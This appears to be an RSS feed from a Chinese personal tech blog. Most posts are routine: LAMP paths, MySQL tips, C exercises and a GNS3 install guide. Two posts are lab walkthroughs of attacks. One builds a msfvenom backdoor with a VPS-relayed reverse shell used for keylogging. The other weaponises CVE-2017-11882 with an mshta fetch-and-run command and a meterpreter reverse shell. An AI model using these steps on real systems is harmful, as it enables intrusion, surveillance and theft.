	<link>https://www.zuoer.xin/?post=37</link>
	<description><![CDATA[<pre class="prettyprint lang-js linenums">Apache:

如果采用RPM包安装，安装路径应在 /etc/httpd 目录下

Apache配置文件：/etc/httpd/conf/httpd.conf

Apache模块路径：/usr/sbin/apachectl

Web目录：/var/www/html

如果采用源代码安装，一般默认安装在 /usr/local/apache2 目录下

 

PHP:

如果采用RPM包安装，安装路径应在 /etc/ 目录下

PHP的配置文件：/etc/php.ini

如果采用源代码安装，一般默认安装在 /usr/local/lib 目录下

PHP配置文件: /usr/local/lib/php.ini

或 /usr/local/php/etc/php.ini

 

MySQL:

如果采用RPM包安装，安装路径应在 /usr/share/mysql 目录下

mysqldump文件位置：/usr/bin/mysqldump

mysql配置文件:

/etc/my.cnf 或 /usr/share/mysql/my.cnf

mysql数据目录在 /var/lib/mysql 目录下

如果采用源代码安装，一般默认安装在 /usr/local/mysql 目录下</pre>]]></description>
	<pubDate>Fri, 23 Nov 2018 09:03:44 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=37</guid>

</item>
<item>
	<title>mysql 删除显示connot delete or update a parent row :a foreign</title>
	<link>https://www.zuoer.xin/?post=36</link>
	<description><![CDATA[<pre class="prettyprint lang-js linenums">SET foreign_key_checks = 0;  // 先设置外键约束检查关闭
 
drop table table1;  // 删除表，如果要删除视图，也是如此
 
SET foreign_key_checks = 1; // 开启外键约束检查，以保持表结构完整性
</pre>]]></description>
	<pubDate>Thu, 22 Nov 2018 11:49:19 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=36</guid>

</item>
<item>
	<title>递归 返回值和预期不一样怎么办</title>
	<link>https://www.zuoer.xin/?post=35</link>
	<description><![CDATA[<p>
	调用递归方法前加return 不写return&nbsp; 程序还会继续运行
</p>
<p>
	<br />
</p>
<pre class="prettyprint lang-cpp linenums"> if(num2!= 0) {  
       return divide(num1,num2);
    }else{
       return num1;
    }</pre>
<p>
	<br />
</p>]]></description>
	<pubDate>Sun, 18 Nov 2018 13:00:21 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=35</guid>

</item>
<item>
	<title>1000以内 完数</title>
	<link>https://www.zuoer.xin/?post=34</link>
	<description><![CDATA[<pre class="prettyprint lang-cpp linenums">#include &lt;stdio.h&gt;
#include &lt;conio.h&gt;
void main()
{
int m,i,s;
for(m=1;m&lt;=1000;m++) //从1开始到1000循环结束
{
s=0;//初始化因子之和s为0
for(i=1;i&lt;m;i++) //寻找在1到m之间，有多少m的因子
if(m%i==0) //如果m能整除i，则i为m的因子
s=s+i;//将因子累加
if(s==m) //如果因子之和等于这个数
printf("%d\t",s);//输出
}
getch();
}</pre>
<br />]]></description>
	<pubDate>Sun, 18 Nov 2018 03:46:14 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=34</guid>

</item>
<item>
	<title>递归算法求两个数的最小公倍数</title>
	<link>https://www.zuoer.xin/?post=33</link>
	<description><![CDATA[<p class="MsoNormal">
	<strong><span style="font-size:24px;">递归算法求两个数的最小公倍数 (明明可以不用递归 你偏要递归)</span></strong><o:p></o:p>
</p>
<p class="MsoNormal">
	<br />
</p>
<pre class="prettyprint lang-cpp linenums">#include&lt;stdio.h&gt;

int divide(int num1, int num2);

int main(){

    int x=15,y=7;

    int c=0;

    c=x*y/divide(x,y);

    printf("%d\n",c);

    return 0;

}

int divide(int num1, int num2) {

    int r;    //r表示两个数的余数

    //如果两个数前者&lt;后者，则互换两个数

    if(num1 &lt; num2) {

        r = num1;

        num1 = num2;

        num2 = r;

    }

    r = num1;             //逐次用后一个数去除前一个余数

    num1 = num2;

    num2 = r%num2;

    if(num2== 0) {   

       return num1;

    }else{

         divide(num1,num2);

    }   

}</pre>
<p>
	<br />
</p>]]></description>
	<pubDate>Sat, 17 Nov 2018 08:23:31 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=33</guid>

</item>
<item>
	<title>公网的Shell如何返回到内网的Kali</title>
	<link>https://www.zuoer.xin/?post=32</link>
	<description><![CDATA[<span style="font-size:medium;">测试工具：<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Lcx.exe&nbsp; &nbsp; 端口转发<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Kali 内网环境下的攻击主机<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;VPS 公网环境下的用于lcx端口转发<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;目标主机&nbsp;&nbsp;可以是公网/内网下的主机<br />
<br />
<br />
1.service postgresql start&nbsp; &nbsp;启动数据库服务器<br />
<img id="aimg_27399" src="https://bbs.ichunqiu.com/data/attachment/forum/201610/14/094739tswklicffjfj5wsp.png" class="zoom" data-bd-imgshare-binded="1" width="600" /> <br />
2.msfdb init&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;初始化数据库<br />
<img id="aimg_27400" src="https://bbs.ichunqiu.com/data/attachment/forum/201610/14/094817hpcp71n582q1s2cs.png" class="zoom" data-bd-imgshare-binded="1" width="600" /> <br />
3.cat /usr/share/metasploit-framework/config/database.yml&nbsp;&nbsp;查看数据库链接信息（一会链接会用到）<br />
<img id="aimg_27401" src="https://bbs.ichunqiu.com/data/attachment/forum/201610/14/094920riu5igcc8z1a8xai.png" class="zoom" data-bd-imgshare-binded="1" width="600" /> <br />
4.msfconsole 启动msf控制台<br />
<img id="aimg_27403" src="https://bbs.ichunqiu.com/data/attachment/forum/201610/14/095020xruu011to63oo4mp.png" class="zoom" data-bd-imgshare-binded="1" width="600" /> <br />
5.db_status&nbsp;&nbsp;查看数据库连接 <br />
<img id="aimg_27404" src="https://bbs.ichunqiu.com/data/attachment/forum/201610/14/095047zsfw8fqsts09ti3w.png" class="zoom" data-bd-imgshare-binded="1" width="600" /> <br />
6.db_connect user:pass@host:port/dbname 链接数据库<br />
<img id="aimg_27406" src="https://bbs.ichunqiu.com/data/attachment/forum/201610/14/095125f9j6mgmnlmbmekn2.png" class="zoom" data-bd-imgshare-binded="1" width="600" /> <br />
<br />
以上我们的前期准备工作就完成了，下面我们需要用公网的VPS,进行转发。<br />
-listen 6666 8888 监听8888的数据转发到6666端口<br />
<br />
<img id="aimg_27407" src="https://bbs.ichunqiu.com/data/attachment/forum/201610/14/095239f1cdznwseeewsdic.png" class="zoom" data-bd-imgshare-binded="1" width="600" /> <br />
<br />
7.msf<a href="http://www.ichunqiu.com/course/293?bbs" target="_blank" class="relatedlink">VENOM</a> -p windows/metre.....&nbsp;&nbsp;LHOST=host LPORT=prot -f exe &gt;/root/Desktop/test.exe&nbsp;&nbsp;生成payload<br />
LHOST为VPS的地址，LPORT为lcx.exe的连接端口（这里我们是8888端口）<br />
<br />
<img id="aimg_27419" src="https://bbs.ichunqiu.com/data/attachment/forum/201610/14/095440quuqbetetg03gxdt.png" class="zoom" data-bd-imgshare-binded="1" width="600" /> <br />
8.armitage 图形化页面的metasploit<br />
<img id="aimg_27421" src="https://bbs.ichunqiu.com/data/attachment/forum/201610/14/095515mj16hyjj6obhtw3f.png" class="zoom" data-bd-imgshare-binded="1" width="424" /> <br />
（启动页面）默认配置 直接连接就可以<br />
<img id="aimg_27422" src="https://bbs.ichunqiu.com/data/attachment/forum/201610/14/095554icovozzbpmawj8xv.png" class="zoom" data-bd-imgshare-binded="1" width="600" /> <br />
（软件界面）<br />
我们依次选择 Armitage-&gt;listeners-&gt;bind 新建一个绑定型的shell 配置如下host为VPS地址，port为lcx的传输端口（这里我们是6666端口）<br />
<img id="aimg_27423" src="https://bbs.ichunqiu.com/data/attachment/forum/201610/14/095757ujg7z41jxy7hivhy.png" class="zoom" data-bd-imgshare-binded="1" width="600" /> <br />
<br />
<span style="color:#ff0000;">/*****************************分割线*******************************/</span><br />
下面我们模拟用户打开我们的后门程序<br />
<img id="aimg_27425" src="https://bbs.ichunqiu.com/data/attachment/forum/201610/14/095907syy508oql86aopqf.png" class="zoom" data-bd-imgshare-binded="1" width="407" /> <br />
后门启动后会连接我们VPS的8888端口，监听程序会显示流量，同时他会将流量转发到6666端口<br />
<img id="aimg_27426" src="https://bbs.ichunqiu.com/data/attachment/forum/201610/14/100043fzjcktrvjzrr224r.png" class="zoom" data-bd-imgshare-binded="1" width="600" /> <br />
由于Metasploit已经连接到VPS的6666端口，所以接收到VPS转发来的数据，成功返回一台主机shell<br />
<img id="aimg_27427" src="https://bbs.ichunqiu.com/data/attachment/forum/201610/14/100206ljvzhc08c0cch261.png" class="zoom" data-bd-imgshare-binded="1" width="600" /> <br />
<br />
对主机一些简单的操作（我做测试的主机在内网，所以通过VPS返回了一个内网的主机）<br />
<img id="aimg_27428" src="https://bbs.ichunqiu.com/data/attachment/forum/201610/14/100422rgl5dd9cp5fc9y99.png" class="zoom" data-bd-imgshare-binded="1" width="600" /> <br />
（浏览文件）<br />
<img id="aimg_27429" src="https://bbs.ichunqiu.com/data/attachment/forum/201610/14/100422lr2002c0rkla1cmb.png" class="zoom" data-bd-imgshare-binded="1" width="600" /> <br />
（显示进程）<br />
<img id="aimg_27430" src="https://bbs.ichunqiu.com/data/attachment/forum/201610/14/100423q9bfnzqnf979wfnn.png" class="zoom" data-bd-imgshare-binded="1" width="600" /> <br />
（键盘记录及其他）<br />
<br />
<br />
具体怎么发挥就看自己了<br />
</span> 
<p>
	<span style="font-size:medium;"> msfvenom还可以生成php、asp等多种形式的payload，关于他的一些其他用法可以参考：<a href="http://ixuehua.blog.163.com/blog/static/2599520382016447215392/" target="_blank">http://ixuehua.blog.163.com/blog/static/2599520382016447215392/</a><br />
</span> 
</p>
<p>
	https://bbs.ichunqiu.com/thread-13496-1-1.html<br />
<span style="font-size:medium;"></span> 
</p>]]></description>
	<pubDate>Thu, 15 Nov 2018 15:21:30 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=32</guid>

</item>
<item>
	<title>CVE-2017-11882漏洞利用</title>
	<link>https://www.zuoer.xin/?post=31</link>
	<description><![CDATA[<div id="cnblogs_post_body" class="blogpost-body">
	<p align="center">
		<span style="font-size:14px;"><span style="font-size:32px;"><strong>不要去黑别人电脑 ，仅供学习参考</strong></span><br />
</span> 
	</p>
	<p>
		<span style="font-size:14px;">CVE-2017-11882漏洞利用</span> 
	</p>
	<p align="center">
		<span style="font-size:14px;font-family:宋体;">最新Office的CVE-2017-11882的poc刚刚发布出来，让人眼前一亮，完美无弹窗，无视宏，影响Ms offcie全版本，对于企业来说危害很大。在此简单说下这个漏洞的复现和利用过程。</span> 
	</p>
	<p>
		<span style="font-size:14px;">&nbsp;</span> 
	</p>
	<p>
		<span style="font-size:14px;">&nbsp;</span> 
	</p>
	<p>
		<span style="font-size:14px;">POC地址：https://github.com/Ridter/CVE-2017-11882/</span> 
	</p>
	<p>
		<span style="font-size:14px;font-family:宋体;">下载Command43b_CVE-2017-11882.py脚本文件（文末分享云盘链接）。<br />
</span> 
	</p>
	<p>
		<span style="font-size:14px;">&nbsp;</span> 
	</p>
	<p>
		<span style="font-size:14px;font-family:宋体;">使用的方法很简单，执行下面命令，生成漏洞doc文件。</span> 
	</p>
	<p>
		<span style="font-size:14px;">&nbsp;</span> 
	</p>
	<p>
		<span style="font-size:14px;">python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc</span> 
	</p>
	<p>
		<span style="font-size:14px;">&nbsp;</span> 
	</p>
	<p>
		<span style="font-size:14px;font-family:宋体;"><img src="https://images2017.cnblogs.com/blog/1062851/201711/1062851-20171122190742368-1452008621.png" alt="" /></span> 
	</p>
	<p>
		<span style="font-size:14px;">&nbsp;</span> 
	</p>
	<p>
		<span style="font-size:14px;">&nbsp;</span> 
	</p>
	<p>
		<span style="font-size:14px;font-family:宋体;">使用office 2013打开，直接执行。</span> 
	</p>
	<p>
		<span style="font-size:14px;">&nbsp;</span> 
	</p>
	<p>
		<span style="font-size:14px;font-family:宋体;"><img src="https://images2017.cnblogs.com/blog/1062851/201711/1062851-20171122190755446-2002516953.png" alt="" /></span> 
	</p>
	<p>
		<span style="font-size:14px;">&nbsp;</span> 
	</p>
	<p>
		<span style="font-size:14px;">&nbsp;</span> 
	</p>
	<p>
		<span style="font-size:14px;">&nbsp;</span> 
	</p>
	<p>
		<span style="font-size:14px;">&nbsp;</span> 
	</p>
	<p>
		<span style="font-size:14px;">关于怎么进一步利用，可以利用msf进行攻击。</span> 
	</p>
	<p>
		&nbsp;
	</p>
	<p>
		<span style="font-size:14px;font-family:宋体;">这里有个小技巧，因为命令长度有43字符的限制，可以使用URIPATH设置路径，尽量短一点，避免加起来超过43字符。</span> 
	</p>
	<p>
		<span style="font-size:14px;font-family:宋体;">这里我仔细说一下，希望每个人都能看懂。</span> 
	</p>
	<p>
		&nbsp;
	</p>
	<p>
		<span style="font-size:14px;font-family:宋体;">准备阶段：</span> 
	</p>
	<p>
		<span style="font-size:14px;font-family:宋体;">kali:192.168.104</span> 
	</p>
	<p>
		<span style="font-size:14px;font-family:宋体;">win7:192.168.1.132</span> 
	</p>
	<p>
		<span style="font-size:14px;font-family:宋体;">win7里面的doc文件可以用office打开。我的win7虚拟机用的是office2013（文末分享）</span> 
	</p>
	<p>
		&nbsp;
	</p>
	<p>
		<span style="font-size:14px;font-family:宋体;"><img src="https://images2017.cnblogs.com/blog/1062851/201711/1062851-20171122232105571-1465562037.jpg" alt="" width="806" height="603" /></span> 
	</p>
	<p>
		&nbsp;<img src="https://images2017.cnblogs.com/blog/1062851/201711/1062851-20171122232648399-154733620.jpg" alt="" width="795" height="595" /> 
	</p>
	<p>
		&nbsp;
	</p>
	<p>
		<span style="font-size:14px;">首先打开kali，查看 IP，可以看到我的虚拟机kali的 
IP是192.168.1.104。把Command43b_CVE-2017-11882.py下载下来放kali的桌面就可以。接下来就要把PS_shell.rb文件下载下来。就把PS_shell.rb和ms17-010.rb放一起吧。</span> 
	</p>
	<p>
		<span style="font-size:14px;">ms17-010.rb文件的路径是：/usr/share/metasploit-framework/modules/exploits/windows/smb/ms17-010.rb，把PS_shell.rb放smb下面，和ms17-010在一起。</span> 
	</p>
	<p>
		<span style="font-size:14px;">准备工作做好了，接下来就是msf上场了。</span> 
	</p>
	<p>
		<span style="font-size:14px;">输入msfconsole，然后reload_all，重新加载所有模块。</span> 
	</p>
	<p>
		<span style="font-size:14px;">接下来输入命令：search PS_shell</span> 
	</p>
	<p>
		<span style="font-size:14px;">use <span style="font-size:14px;">/exploits/windows/smb/</span>PS_shell</span> 
	</p>
	<p>
		set payload windows/meterpreter/reverse_tcp
	</p>
	<p>
		set lhost 192.168.1.104
	</p>
	<p>
		set uripath abc
	</p>
	<p>
		exploit
	</p>
	<p>
		会出现 started reverse tcp hander on 192.168.1.104:4444
	</p>
	<p>
		using url，local ip，，，
	</p>
	<p>
		mshta.exe "http://192.168.1.104:8080/abc"
	</p>
	<p>
		&nbsp;
	</p>
	<p>
		接下来就到了 <span style="font-size:14px;">Command43b_CVE-2017-11882.py 上场了。</span> 
	</p>
	<p>
		<span style="font-size:14px;">前面说到，我们是把py文件放 kali 桌面的，所以在 kali 执行的时候路径要注意。</span> 
	</p>
	<p>
		cd Desktop
	</p>
	<p>
		输入命令：<span style="color:#000000;">python&nbsp;<span style="font-size:14px;">Command43b_CVE-2017-11882.py</span> -c "mshta http://192.168.1.104:8080/abc" -o test.doc</span> 
	</p>
	<p>
		<span style="color:#000000;">会在同目录生成 test.doc 文件。</span> 
	</p>
	<p>
		<span style="color:#000000;">然后复制到 win7里面用 office2013 打开。</span> 
	</p>
	<p>
		<span style="color:#000000;">win7 打开的时候，msf 输入 sessions </span> 
	</p>
	<p>
		<span style="color:#000000;">成功返回 shell。</span> 
	</p>
	<p>
		<span style="color:#000000;"><span style="color:#000000;">具体请看截图，</span>至此CVE-2017-11882漏洞利用结束，下面还可以进行一系列渗透了。</span> 
	</p>
	<p>
		<span style="font-size:14px;">&nbsp;</span> 
	</p>
	<p>
		<span style="font-size:14px;"><img src="https://images2017.cnblogs.com/blog/1062851/201711/1062851-20171123000133524-427095847.jpg" alt="" width="1137" height="851" /></span> 
	</p>
	<p>
		<span style="font-size:14px;">&nbsp;<img src="https://images2017.cnblogs.com/blog/1062851/201711/1062851-20171122235640290-2086593632.jpg" alt="" width="1134" height="849" /></span> 
	</p>
	<p>
		<span style="font-size:14px;">&nbsp;<img src="https://images2017.cnblogs.com/blog/1062851/201711/1062851-20171123000642493-425458201.jpg" alt="" width="1134" height="850" /></span> 
	</p>
	<p>
		&nbsp;
	</p>
	<p>
		&nbsp;
	</p>
	<p>
		&nbsp;
	</p>
	<p>
		&nbsp;
	</p>
	<p>
		<span style="font-size:14px;">修复方案：</span> 
	</p>
	<p>
		<span style="font-size:14px;font-family:宋体;">1.下载微软对此漏洞补丁：https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882，并且开启自动更新功能</span> 
	</p>
	<p>
		<span style="font-size:14px;font-family:宋体;">2.在注册表中禁用该漏洞模块</span> 
	</p>
	<p>
		<span style="font-size:14px;font-family:宋体;">reg add 
"HKLM\SOFTWARE\Microsoft\Office\XX.X\Common\COM 
Compatibility\{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility 
Flags" /t REG_DWORD /d 0x400</span> 
	</p>
	<p>
		<span style="font-size:14px;font-family:宋体;">reg add 
"HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\XX.X\Common\COM 
Compatibility\{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility 
Flags" /t REG_DWORD/d 0x400</span> 
	</p>
	<p>
		&nbsp;
	</p>
	<p>
		&nbsp;
	</p>
	<p>
		&nbsp;
	</p>
	<p>
		<span style="font-size:14px;">Command43b_CVE-2017-11882.py：（链接: https://pan.baidu.com/s/1hslbc80 密码: 5ap6）</span> 
	</p>
	<p>
		<span style="font-size:14px;">PS_shell.rb：（链接: https://pan.baidu.com/s/1gfF5jmN 密码: rkwy）</span> 
	</p>
	<p>
		<span style="font-size:14px;font-family:宋体;">office2013：（链接: https://pan.baidu.com/s/1eSElsrC 密码: q66f）</span> 
	</p>
	<p>
		<span style="font-size:14px;">本文链接（http://www.cnblogs.com/Oran9e/p/7880832.html），转载请注明。</span> 
	</p>
	<p>
		<span style="font-size:14px;">任重而道远！</span> 
	</p>
</div>]]></description>
	<pubDate>Thu, 15 Nov 2018 14:53:56 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=31</guid>

</item>
<item>
	<title>学习kail linux的几个不错的网站</title>
	<link>https://www.zuoer.xin/?post=30</link>
	<description><![CDATA[kail中文网：http://www.kali.org.cn/forum.php?gid=67<br />
<br />
Kali官方教材：https://kali.training/<br />
<br />
Kali Linux 秘籍：wizardforcel/kali-linux-cookbook-zh - 码云 - 开源中国<br />
<br />
Kali Linux Web 渗透秘籍：wizardforcel/kali-linux-web-pentest-cookbook-zh - 码云 - 开源中国<br />
<br />
Kali Linux 无线安全入门指南：wizardforcel/kali-linux-wireless-pentest - 码云 - 开源中国<br />
<br />
Kali Linux 网络扫描秘籍：wizardforcel/kali-linux-network-scanning-cookbook-zh - 码云 - 开源中国<br />
---------------------&nbsp;<br />
作者：董成荣&nbsp;<br />
来源：CSDN&nbsp;<br />
原文：https://blog.csdn.net/DongChengRong/article/details/78561692&nbsp;<br />
版权声明：本文为博主原创文章，转载请附上博文链接！<br />]]></description>
	<pubDate>Sun, 28 Oct 2018 07:58:41 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=30</guid>

</item>
<item>
	<title>GNS3的安装过程</title>
	<link>https://www.zuoer.xin/?post=29</link>
	<description><![CDATA[<span style="font-size:24px;">一、为什么安装GNS3</span><br />
简单说来它是dynamips的一个图形前端，相比直接使用dynamips这样的虚拟软件要更容易上手和更具有可操作性。更重要的一点是很多Cisco实验在cisco packet tracer上无法实现或完成的实验在GNS3上可以很好的完成。<br />
<br />
<span style="font-size:24px;">二、安装环境</span><br />
1.系统版本：Windows 10 1803 专业版（其他系统也可以）<br />
<br />
2.客户端版本：GNS3-2.1.7-all-in-one<br />
<br />
3.虚拟机软件版本：VMware Workstation 14 Pro 14.1.3 build-9474260<br />
<br />
4.IOU虚拟机版本：GNS3.VM.VMware.Workstation.2.1.7<br />
<br />
<span style="font-size:24px;">三、安装步骤</span><br />
（一）导入IOU虚拟机<br />
关于安装VMware workstations 软件请自行百度寻找安装方法和教程，此处不再介绍安装方法。<br />
<br />
1.找到IOU虚拟机的OVA文件，双击打开。<br />
根据需要修改虚拟机名称和位置。（由于我个人计算机E盘空间较大，所以我把虚拟机放在了E盘）。<br />
---------------------&nbsp;<br />
作者：danteit&nbsp;<br />
来源：CSDN&nbsp;<br />
原文：https://blog.csdn.net/dantesite/article/details/82943496&nbsp;<br />
版权声明：本文为博主原创文章，转载请附上博文链接！<br />
<br />
<br />
<p style="box-sizing:border-box;outline:0px;margin-top:0px;margin-bottom:16px;margin-left:0cm;padding:0px;font-size:16px;color:#4F4F4F;line-height:26px;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
	<img alt="" class="has" height="593" src="https://img-blog.csdn.net/20181005131137638?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhbnRlc2l0ZQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" width="1125" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;max-width:100%;overflow-wrap:break-word;cursor:zoom-in;" />
</p>
<p style="box-sizing:border-box;outline:0px;margin-top:0px;margin-bottom:16px;margin-left:0cm;padding:0px;font-size:16px;color:#4F4F4F;line-height:26px;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
	<img alt="" class="has" height="249" src="https://img-blog.csdn.net/20181005131137771?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhbnRlc2l0ZQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" width="400" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;max-width:100%;overflow-wrap:break-word;cursor:zoom-in;" />
</p>
<br />
<br />
<br />
<br />
2.升级虚拟机<br />
单击“升级此虚拟机”<br />
<br />
&nbsp;<img alt="" class="has" height="408" src="https://img-blog.csdn.net/20181005131137932?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhbnRlc2l0ZQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" width="499" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;max-width:100%;overflow-wrap:break-word;cursor:zoom-in;color:#4F4F4F;font-family:-apple-system, &quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" /><br />
<br />
在选择虚拟机硬件兼容性时选择“Workstation 14.X”，其他选项根据个人喜好设置。<br />
<br />
<br />
<br />
3.编辑虚拟机<br />
单击“编辑虚拟机设置”进行虚拟机的设置，主要是设置CPU和内存，CPU一定要开启虚拟化。内存根据个人计算机的内存分配。（我的笔记本内存是12G所以我给iou的内存为6G，如果电脑内存为4G建议IOU给2G就可以）<br />
<br />
<img alt="" class="has" height="342" src="https://img-blog.csdn.net/201810051311389?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhbnRlc2l0ZQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" width="813" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;max-width:100%;overflow-wrap:break-word;cursor:zoom-in;color:#4F4F4F;font-family:-apple-system, &quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" /><br />
<br />
4.编辑IOU的IP参数<br />
可以使用DHCP也可以使用静态IP地址。静态IP地址设置方法：<br />
<br />
<img alt="" class="has" height="480" src="https://img-blog.csdn.net/20181005131137930?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhbnRlc2l0ZQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" width="640" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;max-width:100%;overflow-wrap:break-word;cursor:zoom-in;color:#4F4F4F;font-family:-apple-system, &quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" /><br />
<br />
将鼠标发送到IOU，单击虚拟机的任何地方或者使用快捷键（Ctrl+G）然后按Enter键。<br />
<br />
<img alt="" class="has" height="480" src="https://img-blog.csdn.net/20181005131138167?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhbnRlc2l0ZQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" width="640" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;max-width:100%;overflow-wrap:break-word;cursor:zoom-in;color:#4F4F4F;font-family:-apple-system, &quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" /><br />
<br />
选中Networking选项按Enter键。<br />
<img alt="" class="has" height="480" src="https://img-blog.csdn.net/20181005131138177?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhbnRlc2l0ZQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" width="640" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;max-width:100%;overflow-wrap:break-word;cursor:zoom-in;color:#4F4F4F;font-family:-apple-system, &quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" /><br />
<br />
<br />
直接按Enter键，修改完IP地址要重启才能生效。<br />
<br />
<img alt="" class="has" height="480" src="https://img-blog.csdn.net/20181005131138215?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhbnRlc2l0ZQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" width="640" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;max-width:100%;overflow-wrap:break-word;cursor:zoom-in;color:#4F4F4F;font-family:-apple-system, &quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" /><br />
<br />
因为我的虚拟网卡地址为172.20.21.0/24的地址，所以设置为图中的地址，各位在设置地址时应根据自己的虚拟网卡地址设置。虚拟网卡地址查看方法：<br />
<br />
打开cmd命令行运行ipconfig命令查看”以太网适配器 VMware Network Adapter VMnet1:”的地址，设置与该网卡同一个段的的地址即可，但是网关要设置为X.X.X.2。<br />
<br />
<img alt="" class="has" height="595" src="https://img-blog.csdn.net/20181005131138359?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhbnRlc2l0ZQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" width="624" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;max-width:100%;overflow-wrap:break-word;cursor:zoom-in;color:#4F4F4F;font-family:-apple-system, &quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" /><br />
<br />
修改完成后按Ctrl+X键退出，输入y/Y键保存然后按任意键重启系统。启动后看是不是自己设置的地址或者长时间停留在启动界面，这是因为网络参数设置错误，需要重新设置。<br />
<br />
<span style="font-size:24px;"> （二）安装客户端</span><br />
1.双击软件运行：<br />
修改软件安装位置、其他使用默认的选项安装。如果安装过程中需要安装其他软件选择安装即可<br />
<br />
<img alt="" class="has" height="386" src="https://img-blog.csdn.net/20181005131138381?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhbnRlc2l0ZQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" width="497" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;max-width:100%;overflow-wrap:break-word;cursor:zoom-in;color:#4F4F4F;font-family:-apple-system, &quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" /><br />
<br />
（三）安设置客户端<br />
1.常规设置（General）：<br />
设置防火墙，添加gns3到信任列表中。<br />
<br />
<br />
<img alt="" class="has" height="451" src="https://img-blog.csdn.net/20181005131138419?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhbnRlc2l0ZQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" width="618" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;max-width:100%;overflow-wrap:break-word;cursor:zoom-in;color:#4F4F4F;font-family:-apple-system, &quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" /><br />
启动GNS3客户端，双击启动。<br />
<br />
<img alt="" class="has" height="182" src="https://img-blog.csdn.net/20181005131138498?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhbnRlc2l0ZQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" width="242" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;max-width:100%;overflow-wrap:break-word;cursor:zoom-in;color:#4F4F4F;font-family:-apple-system, &quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" /><br />
<br />
暂时不需要对GNS进行初始化。进入gns3后在进行更为详细的设置。选择Edit然后打开Preferences…进行详细设置。<br />
<br />
<img alt="" class="has" height="255" src="https://img-blog.csdn.net/20181005131138588?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhbnRlc2l0ZQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" width="480" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;max-width:100%;overflow-wrap:break-word;cursor:zoom-in;color:#4F4F4F;font-family:-apple-system, &quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" /><br />
<br />
设置项目存放位置以及软件配置存放位置等信息。<br />
<br />
